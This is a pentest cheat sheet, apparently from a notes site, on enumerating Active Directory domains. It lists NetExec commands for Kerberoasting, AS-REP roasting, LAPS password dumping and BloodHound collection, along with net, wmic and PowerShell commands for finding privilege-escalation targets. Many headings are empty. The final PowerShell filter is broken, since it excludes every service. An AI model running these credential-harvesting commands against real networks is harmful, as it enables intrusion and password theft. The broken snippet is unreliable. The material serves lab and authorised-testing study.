Domain Enumeration

Crackmapexec:

nxc ldap 10.10.11.187 -u USER -p PASS --kerberoast kerb
nxc ldap 10.10.11.187 -u USER -p PASS --asreproast asp
nxc ldap 10.10.11.187 -u USER -p PASS --trusted-for-delegation --admin --users --groups --password-not-required
nxc ldap 10.10.11.187 -u USER -p PASS -M user-desc
nxc ldap 10.10.11.187 -u USER -p PASS -M MAQ
nxc ldap 10.10.11.187 -u USER -p PASS -M acds
nxc ldap 10.10.11.187 -u USER -p PASS -M laps
nxc ldap 10.10.11.187 -u USER -p PASS -M laps-signing
nxc ldap 10.10.11.187 -u USER -p PASS -M subnets
nxc smb 10.10.11.187 -u USER -p PASS -M bloodhound

Basic enum

# cmd
Net accounts /domain
Net user /domain
Net groups /domain
Net view /domain
Net user /priv

# wmi
wmic process get CSName,Description,ExecutablePath,ProcessId
wmic useraccount list full
wmic netuse list full
wmic qfe get Caption,Description,HotFixId,InstalledOn
wmic startup get Caption,Command,Location,User
# wmi for privesc
## uncommented path
Get-WmiObject -Class Win32_Service | Where-Object { $_.StartMode -eq 'Auto' -and $_.PathName -notlike '*C:\Windows\*' -and $_.PathName -notlike '*"*' } | Select-Object Name, DisplayName, PathName, StartMode
## find highly privileged processes that can be attacked
$owners = @{};Get-WmiObject -Class win32_process | where-object {$_} | ForEach-Object {$Owners[$_.handle] = $_.getowner().user}
## find all paths to services.exec's that have a space in the path and aren't quotes
$VulServices = Get-WmiObject -Class win32_service |  where-object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne "")} | where-object {-not $_.pathname.StartsWith('"')} |Where-object {-not $_.pathname.StartsWith('')}

Domain enum

ldapsearching:

LDAP dump:

Plaintext passwords

Check and pull SPN tickets:

Scripting enum

Check connected domain and DC:

Enumerate domain:

Filter by:

LDAP Filters for Novell eDirectory Environments

LDAP Filters for all LDAP Environments (including Active Directory and eDirectory)

PreviousWord List CreationNextDomain Trusts

Last updated